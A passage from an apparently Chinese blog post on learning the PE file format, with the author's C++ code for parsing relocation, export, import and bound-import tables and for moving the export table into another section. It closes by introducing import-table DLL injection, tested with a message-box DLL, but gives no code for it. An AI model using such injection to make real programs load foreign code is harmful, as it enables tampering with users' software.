RVAtoFOA((DWORD)*tureAddressOfxvhao, pFileBuffer));</span><br><br> <span class="hljs-comment">//PWORD idaddr = (PWORD)((BYTE*)RVAtoFOA((DWORD)*tureAddressOfxvhao, pFileBuffer) + (DWORD)pFileBuffer);</span><br> <span class="hljs-comment">//printf("导出表函数名字表文件地址:%d\n", idaddr);</span><br> }<br>} <br><br></code></pre></td></tr></table></figure>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220312164228866.png" alt="image-20220312164228866" style="zoom: 50%;">
<h1 id="重定位表"><a class="markdownIt-Anchor" href="#重定位表"></a> 重定位表</h1>
<p>数据目录的第六个结构,用来定位需要修改的地址位置(程序加载dll的时候,如果dll加载的基址不是imagebase,则根据此表偏移依次修改此表中指向的地址)</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220312000406461.png" alt="image-20220312000406461" style="zoom:67%;">
<h2 id="内容说明"><a class="markdownIt-Anchor" href="#内容说明"></a> 内容说明</h2>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220312164009483.png" alt="image-20220312164009483" style="zoom: 67%;">
<h2 id="自己写的程序解析"><a class="markdownIt-Anchor" href="#自己写的程序解析"></a> 自己写的程序解析</h2>
<p>写了之后,感觉清楚挺多了,就是还不知道这个表修改的过程</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">/*</span><br><span class="hljs-comment">展示重定位表块的内容</span><br><span class="hljs-comment">*/</span><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">showRELOCATIONsetion</span><span class="hljs-params">(DWORD numofsetion,WORD* start,DWORD addrbase, LPVOID pFileBuffer)</span></span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">for</span> (DWORD i = <span class="hljs-number">0</span>;i < numofsetion;i++)<br> {<br> WORD time = *start;<br> DWORD addradd = (time & <span class="hljs-number">0xFFF</span>)+addrbase;<br><br> <span class="hljs-keyword">if</span> (((time & <span class="hljs-number">0xF000</span>) >> <span class="hljs-number">12</span>) == <span class="hljs-number">3</span>)<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"块需要修改,块高4位%x,后12位%x,RVA的值%x,,FOA值%x\n"</span>, ((time & <span class="hljs-number">0xF000</span>) >> <span class="hljs-number">12</span>),(time & <span class="hljs-number">0xFFF</span>),addradd,<span class="hljs-built_in">RVAtoFOA</span>(addradd,pFileBuffer));<br> }<br> <span class="hljs-keyword">else</span> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"块不需要修改,块高4位%x,后12位%x,RVA的值%x,FOA值%x\n"</span>, ((time & <span class="hljs-number">0xF000</span>) >> <span class="hljs-number">12</span>), (time & <span class="hljs-number">0xFFF</span>),addradd, <span class="hljs-built_in">RVAtoFOA</span>(addradd, pFileBuffer));<br> }<br> <br><br> start = start + <span class="hljs-number">1</span>;<br> }<br>}<span class="hljs-comment">/*</span><br><span class="hljs-comment">展示重定位表,需要文件指针</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">showRELOCATION</span><span class="hljs-params">(LPVOID pFileBuffer)</span> </span>{<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_BASE_RELOCATION pRELOCATIONDIRECTORY = <span class="hljs-literal">NULL</span>;<br> PIMAGE_BASE_RELOCATION pnextRELOCATIONDIRECTORY = <span class="hljs-literal">NULL</span>;<br> DWORD lastRELOCATIONDIRECTORYaddr = <span class="hljs-number">1</span>;<br> DWORD lastvirtualaddr = <span class="hljs-number">1</span>;<br> <span class="hljs-keyword">int</span> kuai = <span class="hljs-number">0</span>;<br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> <br> pRELOCATIONDIRECTORY = <span class="hljs-built_in">PIMAGE_BASE_RELOCATION</span>(<span class="hljs-built_in">RVAtoFOA</span>(pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">5</span>].VirtualAddress, pFileBuffer)+ (DWORD)pFileBuffer);<br> pnextRELOCATIONDIRECTORY = pRELOCATIONDIRECTORY;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"重定位表内容\n"</span>);<br> <span class="hljs-comment">//lastvirtualaddr = pRELOCATIONDIRECTORY->VirtualAddress;</span><br> <span class="hljs-keyword">while</span> (lastvirtualaddr > <span class="hljs-number">0</span>) <br> {<br> kuai++;<br> pRELOCATIONDIRECTORY = pnextRELOCATIONDIRECTORY;<br> DWORD numofsetion = (pRELOCATIONDIRECTORY->SizeOfBlock - <span class="hljs-number">8</span>) / <span class="hljs-number">2</span>;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"块%x的地址是%x,大小是%x,块的数量是%x\n"</span>, kuai,pRELOCATIONDIRECTORY->VirtualAddress,pRELOCATIONDIRECTORY->SizeOfBlock,numofsetion);<br> <span class="hljs-built_in">showRELOCATIONsetion</span>(numofsetion, (WORD*)((DWORD)pRELOCATIONDIRECTORY + <span class="hljs-number">8</span>), (DWORD)pRELOCATIONDIRECTORY->VirtualAddress,pFileBuffer);<br><br><br><br> lastRELOCATIONDIRECTORYaddr = (DWORD)pRELOCATIONDIRECTORY+ pRELOCATIONDIRECTORY->SizeOfBlock;<span class="hljs-comment">//下一个块的地址是文件中的地址加块大小</span><br> pnextRELOCATIONDIRECTORY = (PIMAGE_BASE_RELOCATION)lastRELOCATIONDIRECTORYaddr;<br> lastvirtualaddr = pnextRELOCATIONDIRECTORY->VirtualAddress;<br><br> <br> }<br> <span class="hljs-comment">//pRELOCATIONDIRECTORY->VirtualAddress;</span><br><br>}<br><br></code></pre></td></tr></table></figure>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220312185341428.png" alt="image-20220312185341428" style="zoom:50%;">
<p>完全一致,说明应该没问题</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220312190100318.png" alt="image-20220312190100318" style="zoom:50%;">
<h1 id="重定位表和导出表的迁移"><a class="markdownIt-Anchor" href="#重定位表和导出表的迁移"></a> 重定位表和导出表的迁移</h1>
<p>步骤其实就是这样</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220313203239204.png" alt="image-20220313203239204" style="zoom:67%;">
<p>不过程序写的时候比较蛋疼,调了好几次都没成功:</p>
<p><strong>1.注意rva的转换,主要是注意函数使用的是内存空间,要计算foa就得减去指针开始的地方。</strong></p>
<p><strong>2.注意rva的计算,因为表里存放的都是rva,反正是在最后一个节之后添加的的节,可以用最后一个节的VirtualAddress 加上文件地址和最后一个节文件地址PointerToRawData的相对偏移。</strong></p>
<p>这个和肝了我好久</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">/*</span><br><span class="hljs-comment">导出表和重定位表迁移测试</span><br><span class="hljs-comment">*/</span><br><span class="hljs-function">LPVOID <span class="hljs-title">removeDIRECTORY</span><span class="hljs-params">(LPVOID pFileBuffer)</span> </span>{<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_SECTION_HEADER pSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> LPVOID start = <span class="hljs-literal">NULL</span>;<br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORY = <span class="hljs-literal">NULL</span>;<br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> pSectionHeaderBase = <span class="hljs-built_in">LocateSectionBase</span>(pFileBuffer);<br> DWORD addrofnamervafirst = <span class="hljs-number">0</span>;<br><br> exportDIRECTORY = (PIMAGE_EXPORT_DIRECTORY)pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">0</span>].VirtualAddress;<br> exportDIRECTORY = (PIMAGE_EXPORT_DIRECTORY)<span class="hljs-built_in">RVAtoFOA</span>((DWORD)exportDIRECTORY, pFileBuffer);<br> <span class="hljs-comment">//导出表现在的文件地址+pfilebuffer</span><br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORYfilebuffer = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)exportDIRECTORY + (DWORD)pFileBuffer);<br><br><br> <span class="hljs-comment">//DWORD SizeOfHeadersmem = pSectionHeaderBase->VirtualAddress;</span><br> <span class="hljs-comment">//找最后一个节</span><br> PIMAGE_SECTION_HEADER pLaswSectionHeaderBase = <span class="hljs-built_in">PIMAGE_SECTION_HEADER</span>((BYTE*)pSectionHeaderBase + (DWORD)(<span class="hljs-number">0x28</span> * (pNtHeaders->FileHeader.NumberOfSections - <span class="hljs-number">1</span>)));<br> <span class="hljs-comment">//找最后一个节的开始地址</span><br> start = (LPVOID)(pLaswSectionHeaderBase->PointerToRawData + (DWORD)pFileBuffer);<br> LPVOID starttest = (LPVOID)(pLaswSectionHeaderBase->PointerToRawData + (DWORD)pFileBuffer);<span class="hljs-comment">//记录内存空间中复制开始的地址</span><br><br> <span class="hljs-comment">//复制AddressOfFunctions </span><br> DWORD AddressOfFunctionssize = exportDIRECTORYfilebuffer->NumberOfFunctions * <span class="hljs-number">4</span>;<span class="hljs-comment">//大小</span><br> <span class="hljs-comment">//计算rva</span><br> DWORD AddressOfFunctionsrva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> <span class="hljs-comment">//AddressOfFunctions 起始文件地址</span><br> DWORD* tureAddressOfFunctions = (DWORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfFunctions, pFileBuffer));<br> <span class="hljs-built_in">memcpy</span>(start, tureAddressOfFunctions, AddressOfFunctionssize);<br><br> <span class="hljs-comment">//三步:复制AddressOfNameOrdinals</span><br> start = (LPVOID)((DWORD)start + AddressOfFunctionssize);<br> DWORD AddressOfNameOrdinalsrva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> DWORD AddressOfNameOrdinalssize = exportDIRECTORYfilebuffer->NumberOfNames * <span class="hljs-number">2</span>;<br> <span class="hljs-comment">//AddressOfNameOrdinals的起始文件地址</span><br> WORD* tureAddressOfNameOrdinals = (WORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNameOrdinals, pFileBuffer));<br> <span class="hljs-built_in">memcpy</span>(start, tureAddressOfNameOrdinals, AddressOfNameOrdinalssize);<br><br> <span class="hljs-comment">//四步:复制AddressOfNames</span><br> start = (LPVOID)((DWORD)start + AddressOfNameOrdinalssize);<br> DWORD AddressOfNamesrva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> LPVOID namneaddrstart = start;<span class="hljs-comment">//记录一下拷贝的名字表的起始地址</span><br> DWORD AddressOfNamessize = exportDIRECTORYfilebuffer->NumberOfNames * <span class="hljs-number">4</span>;<br> <span class="hljs-comment">//AddressOfNames的起始文件地址</span><br> DWORD* tureAddressOfNames = (DWORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNames, pFileBuffer));<br> <span class="hljs-built_in">memcpy</span>(start, tureAddressOfNames, AddressOfNamessize);<br><br><br> <span class="hljs-comment">//复制所有的函数名字</span><br> start = (LPVOID)((DWORD)start + AddressOfNamessize);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************拷贝名字表的名字\n"</span>);<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < exportDIRECTORYfilebuffer->NumberOfNames; i++) {<br> DWORD* tureAddressOfNames = (DWORD*)((DWORD)pFileBuffer + <span class="hljs-built_in">RVAtoFOA</span>(exportDIRECTORYfilebuffer->AddressOfNames, pFileBuffer)) + i;<br> DWORD* tureAddressOfNames2 = (DWORD*)((DWORD)namneaddrstart) + i;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数名字表文件中地址的值:%x,拷贝后的表里地址的值%x\n"</span>, *tureAddressOfNames, *tureAddressOfNames2);<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数名字表文件地址:%x\n"</span>, <span class="hljs-built_in">RVAtoFOA</span>((DWORD)*tureAddressOfNames, pFileBuffer));<br><br> PCHAR Nameaddr = (PCHAR)((BYTE*)<span class="hljs-built_in">RVAtoFOA</span>((DWORD)*tureAddressOfNames, pFileBuffer) + (DWORD)pFileBuffer);<br> <span class="hljs-comment">//CHAR Name[] = { *Nameaddr };</span><br> <span class="hljs-built_in">memcpy</span>(start, Nameaddr, <span class="hljs-built_in">strlen</span>(Nameaddr));<br><br><br> <span class="hljs-comment">//修复AddressOfNames</span><br> DWORD namestartyz = (DWORD)start - (DWORD)pFileBuffer;<br> <span class="hljs-comment">//计算nameaddr的rva</span><br> DWORD addrofnamerva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> *tureAddressOfNames2 = addrofnamerva;<br> start = (LPVOID)((DWORD)start + <span class="hljs-built_in">strlen</span>(Nameaddr));<br><br><br> <span class="hljs-keyword">if</span> (i == <span class="hljs-number">0</span>)<br> {<br> addrofnamervafirst = addrofnamerva;<br> }<br> <span class="hljs-built_in">memset</span>(start, <span class="hljs-number">0x00</span>, <span class="hljs-number">1</span>);<span class="hljs-comment">//字符串结尾加\00</span><br> start = (LPVOID)((DWORD)start + <span class="hljs-number">1</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"导出表函数大小%x的%x名字:%s,验证修改后的foa正确性%x,对比现在的foa:%x\n"</span>, <span class="hljs-built_in">strlen</span>(Nameaddr),i, Nameaddr,<span class="hljs-built_in">RVAtoFOA</span>(*tureAddressOfNames2,pFileBuffer), namestartyz);<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br><br> <span class="hljs-comment">//复制IMAGE_EXPORT_DIRECTORY结构</span><br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORYfilebuffercopy = (PIMAGE_EXPORT_DIRECTORY) start;<br> <span class="hljs-built_in">memcpy</span>(start, (LPVOID)exportDIRECTORYfilebuffer, <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(IMAGE_EXPORT_DIRECTORY));<br> start = (LPVOID)((DWORD)start + <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(IMAGE_EXPORT_DIRECTORY));<br><br><br> <span class="hljs-comment">//</span><br> <span class="hljs-comment">/*</span><br><span class="hljs-comment"> 第七步:修复IMAGE_EXPORT_DIRECTORY结构中的 </span><br><span class="hljs-comment"> </span><br><span class="hljs-comment"> AddressOfFunctions </span><br><span class="hljs-comment"> </span><br><span class="hljs-comment"> AddressOfNameOrdinals </span><br><span class="hljs-comment"> </span><br><span class="hljs-comment"> AddressOfNames </span><br><span class="hljs-comment">*/</span> <br> exportDIRECTORYfilebuffercopy->AddressOfFunctions = AddressOfFunctionsrva;<br> exportDIRECTORYfilebuffercopy->AddressOfNameOrdinals = AddressOfNameOrdinalsrva;<br><br> exportDIRECTORYfilebuffercopy->AddressOfNames = AddressOfNamesrva;<br> <span class="hljs-comment">//exportDIRECTORYfilebuffercopy->Name = addrofnamervafirst;</span><br><br><br> <span class="hljs-comment">//改数据目录的表指向</span><br> pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">0</span>].VirtualAddress = (DWORD)pLaswSectionHeaderBase->VirtualAddress+(DWORD)exportDIRECTORYfilebuffercopy -(DWORD)starttest;<br><br> <span class="hljs-keyword">return</span> pFileBuffer;<br>}<br><br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220313203816403.png" alt="image-20220313203816403" style="zoom:67%;">
<p>这个移动后是可以正常调用的</p>
<h1 id="导入表和iat表"><a class="markdownIt-Anchor" href="#导入表和iat表"></a> 导入表和IAT表</h1>
<p>导入表结构</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"> <span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_IMPORT_DESCRIPTOR</span> {</span> <br> <span class="hljs-class"><span class="hljs-keyword">union</span> {</span> <br> DWORD Characteristics; <br> DWORD OriginalFirstThunk; <span class="hljs-comment">//指向IMAGE_THUNK_DATA32结构的起始位置 INT表 </span><br> }; <br> DWORD TimeDateStamp; <span class="hljs-comment">//这个值为0说明可执行文件不与输入的dll绑定(绑定后IAT表的值是函数地址) </span><br> DWORD ForwarderChain; <br> DWORD Name; <br> DWORD FirstThunk; <span class="hljs-comment">//指向IMAGE_THUNK_DATA32结构 IAT表 </span><br> } IMAGE_IMPORT_DESCRIPTOR; <br> <span class="hljs-keyword">typedef</span> IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; <br>`<br></code></pre></td></tr></table></figure>
<p><strong>OriginalFirstThunk,FirstThunk是指向第一个IMAGE_THUNK_DATA32的rva,遍历到0算此dll结束</strong></p>
<p>MAGE_THUNK_DATA32结构,4字节,看成一个dword就行</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_THUNK_DATA32</span> {</span> <br> <span class="hljs-class"><span class="hljs-keyword">union</span> {</span> <span class="hljs-comment">//联合类型,高位是1则说明去除高位后记录的是函数序号,不是则是指向IMAGE_IMPORT_BY_NAME的rva </span><br> PBYTE ForwarderString; <br> PDWORD Function; <br> DWORD Ordinal; <span class="hljs-comment">//序号 </span><br> PIMAGE_IMPORT_BY_NAME AddressOfData; <span class="hljs-comment">//指向IMAGE_IMPORT_BY_NAME </span><br> } u1; <br>} IMAGE_THUNK_DATA32; <br><span class="hljs-keyword">typedef</span> IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; <br><br></code></pre></td></tr></table></figure>
<p>IMAGE_IMPORT_BY_NAME结构</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_IMPORT_BY_NAME</span> {</span> <br> WORD Hint; <span class="hljs-comment">//可能为空,编译器决定 如果不为空 是函数在导出表中的索引 </span><br> BYTE Name[<span class="hljs-number">1</span>]; <span class="hljs-comment">//函数名称的首位,以\0结尾 </span><br>} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; <br> <br><br></code></pre></td></tr></table></figure>
<h2 id="程序解析"><a class="markdownIt-Anchor" href="#程序解析"></a> 程序解析</h2>
<p>流程-通过可选头的数据目录的第二个[1]找到其数据目录数据->找到Virtualaddressrva(转换foa)->找到导入表起始地址->遍历导入表->主要遍历导入表的Name,OriginalFirstThunk,FirstThunk,遍历OriginalFirstThunk,FirstThunk时,先转foa,这个foa指向的位置是_IMAGE_THUNK_DATA32结构,看成DWORD即可->判断高位,为0则是指向IMAGE_IMPORT_BY_NAME结构的rva,需要转foa</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">showDESCRIPTOR</span><span class="hljs-params">(LPVOID pFileBuffer)</span></span><br><span class="hljs-function"></span>{<br> PIMAGE_IMPORT_DESCRIPTOR pDescriptor = <span class="hljs-literal">NULL</span>;<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_BY_NAME pImportbyname = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_DESCRIPTOR pDescriptorture = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_BY_NAME namefuction = <span class="hljs-literal">NULL</span>;<br><br><br><br><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> <span class="hljs-comment">//定位导入表</span><br> pDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">1</span>].VirtualAddress;<br> <span class="hljs-comment">//此时在内存中的地址要加pFileBuffer</span><br> pDescriptorture = <span class="hljs-built_in">PIMAGE_IMPORT_DESCRIPTOR</span> (<span class="hljs-built_in">RVAtoFOA</span>((DWORD)pDescriptor,pFileBuffer)+(DWORD)pFileBuffer);<br> <br> <span class="hljs-comment">//遍历导入表</span><br> <span class="hljs-keyword">while</span> (*((DWORD*)pDescriptorture) != <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-comment">//输出dll名字</span><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"dll名字为%s\n"</span>, (<span class="hljs-built_in">RVAtoFOA</span>(pDescriptorture->Name, pFileBuffer) + (DWORD)pFileBuffer));<br> <br> <span class="hljs-comment">//遍历OriginalFirstThunk</span><br> DWORD* startThunk =(DWORD*) (<span class="hljs-built_in">RVAtoFOA</span>((DWORD)pDescriptorture->OriginalFirstThunk, pFileBuffer) + (DWORD)pFileBuffer);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"OriginalFirstThunk内容:\n"</span>);<br> <span class="hljs-keyword">while</span> (*startThunk != <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-keyword">if</span> ((* startThunk & <span class="hljs-number">0x80000000</span>) == <span class="hljs-number">0</span>)<br><br> {<br> namefuction = (PIMAGE_IMPORT_BY_NAME)(<span class="hljs-built_in">RVAtoFOA</span>(*startThunk, pFileBuffer)+(DWORD)pFileBuffer);<br> PCHAR Namefu = (PCHAR)namefuction->Name;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"IMAGE_IMPORT_BY_NAME地址%x,函数名字:%s\n"</span>, *startThunk,Namefu);<br><br> }<br> <span class="hljs-keyword">else</span> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"函数的序号%x\n"</span>, *startThunk & <span class="hljs-number">0x7FFFFFFF</span>);<br> }<br><br><br> <span class="hljs-comment">//startThunk = 0;</span><br> startThunk = startThunk + <span class="hljs-number">1</span>;<br> }<br><br> <span class="hljs-comment">//遍历FirstThunk</span><br><br> DWORD* startFirstThunk = (DWORD*)(<span class="hljs-built_in">RVAtoFOA</span>((DWORD)pDescriptorture->FirstThunk, pFileBuffer) + (DWORD)pFileBuffer);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"FirstThunk内容:\n"</span>);<br> <span class="hljs-keyword">while</span> (*startFirstThunk != <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-keyword">if</span> ((*startFirstThunk & <span class="hljs-number">0x80000000</span>) == <span class="hljs-number">0</span>)<br><br> {<br> namefuction = (PIMAGE_IMPORT_BY_NAME)(<span class="hljs-built_in">RVAtoFOA</span>(*startFirstThunk, pFileBuffer) + (DWORD)pFileBuffer);<br> PCHAR Namefu = (PCHAR)namefuction->Name;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"IMAGE_IMPORT_BY_NAME地址%x,函数名字:%s\n"</span>, *startFirstThunk, Namefu);<br><br> }<br> <span class="hljs-keyword">else</span> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"函数的序号%x\n"</span>, *startFirstThunk & <span class="hljs-number">0x7FFFFFFF</span>);<br> }<br><br><br> <span class="hljs-comment">//startThunk = 0;</span><br> startFirstThunk = startFirstThunk + <span class="hljs-number">1</span>;<br> }<br> pDescriptorture = pDescriptorture + <span class="hljs-number">1</span>;<br> }<br><br><br><br>}<br></code></pre></td></tr></table></figure>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220317171257695.png" alt="image-20220317171257695" style="zoom:67%;">
<h1 id="绑定导入表"><a class="markdownIt-Anchor" href="#绑定导入表"></a> 绑定导入表</h1>
<p>PE加载EXE相关的DLL时,首先会根据<strong>IMAGE_IMPORT_DESCRIPTOR结构</strong>中的TimeDateStamp来判断是否要重新 <br>
计算IAT表中的地址。 <br>
TimeDateStamp == 0 未绑定 <br>
TimeDateStamp == -1 已绑定 真正的绑定时间为IMAGE_BOUND_IMPORT_DESCRIPTOR的TimeDateStamp</p>
<p>绑定导入表内的时间戳用于判断dll是否已经更新,如果时间戳和dll的不一样,则重新计算IAT表</p>
<p>结构</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_BOUND_IMPORT_DESCRIPTOR</span> {</span> <br> DWORD TimeDateStamp; <br> WORD OffsetModuleName;<span class="hljs-comment">//第一个DESCRIPTOR的值+OffsetModuleName</span><br> WORD NumberOfModuleForwarderRefs; <br><span class="hljs-comment">// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows </span><br>} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR; <br> <br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_BOUND_FORWARDER_REF</span> {</span> <br> DWORD TimeDateStamp; <br> WORD OffsetModuleName; <br> WORD Reserved; <br>} IMAGE_BOUND_FORWARDER_REF, *PIMAGE_BOUND_FORWARDER_REF; <br> <br><br></code></pre></td></tr></table></figure>
<p>代码编写</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">showBOUND_IMPORT_DESCRIPTOR</span><span class="hljs-params">(LPVOID pFileBuffer)</span></span><br><span class="hljs-function"></span>{<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_BOUND_IMPORT_DESCRIPTOR pDESCRIPTOR = <span class="hljs-literal">NULL</span>;<br> PIMAGE_BOUND_FORWARDER_REF pFORWARDER_REF = <span class="hljs-literal">NULL</span>;<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"******************************\n"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"********绑定导入表解析********\n"</span>);<br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> <span class="hljs-keyword">if</span> (pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">11</span>].VirtualAddress == <span class="hljs-number">0</span>) {<br> <span class="hljs-keyword">return</span>;<br> }<br> pDESCRIPTOR = (PIMAGE_BOUND_IMPORT_DESCRIPTOR)(<span class="hljs-built_in">RVAtoFOA</span>(pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">11</span>].VirtualAddress, pFileBuffer)+(DWORD)pFileBuffer);<br> DWORD startoffer = (DWORD)pDESCRIPTOR;<br> PCHAR name = <span class="hljs-literal">NULL</span>;<br> <span class="hljs-keyword">while</span> (*(DWORD*)pDESCRIPTOR != <span class="hljs-number">0</span>)<br> {<br><br> name = (PCHAR)startoffer + pDESCRIPTOR->OffsetModuleName;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"时间戳%x名字%s,NumberOfModule数量%x\n"</span>, pDESCRIPTOR->TimeDateStamp,name,pDESCRIPTOR->NumberOfModuleForwarderRefs);<br> <span class="hljs-keyword">if</span> (pDESCRIPTOR->NumberOfModuleForwarderRefs != <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"存在NumberOfModuleForwarderRefs结构:\n"</span>);<br> pDESCRIPTOR = pDESCRIPTOR + <span class="hljs-number">1</span>;<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i= <span class="hljs-number">0</span>; i < pDESCRIPTOR->NumberOfModuleForwarderRefs; i++)<br> {<br><br> PIMAGE_BOUND_FORWARDER_REF pFORWARDER_REF = (PIMAGE_BOUND_FORWARDER_REF)pDESCRIPTOR;<br> name = (PCHAR)startoffer + pFORWARDER_REF->OffsetModuleName;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"时间戳%x名字%s\n"</span>, pFORWARDER_REF->TimeDateStamp, name);<br> pDESCRIPTOR = pDESCRIPTOR + <span class="hljs-number">1</span>;<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"NumberOfModuleForwarderRefs结构结束\n"</span>);<br><br> }<br> pDESCRIPTOR = pDESCRIPTOR + <span class="hljs-number">1</span>;<br> }<br><br><br> <br> <br>}<br></code></pre></td></tr></table></figure>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220316200303598.png" alt="image-20220316200303598" style="zoom:67%;">
<h2 id="导入表注入"><a class="markdownIt-Anchor" href="#导入表注入"></a> 导入表注入</h2>
<p>dll的main方法是添加和去除时调用,使用一个在加载和退出时调用的messagebox函数的dll验证注入是否成功</p>
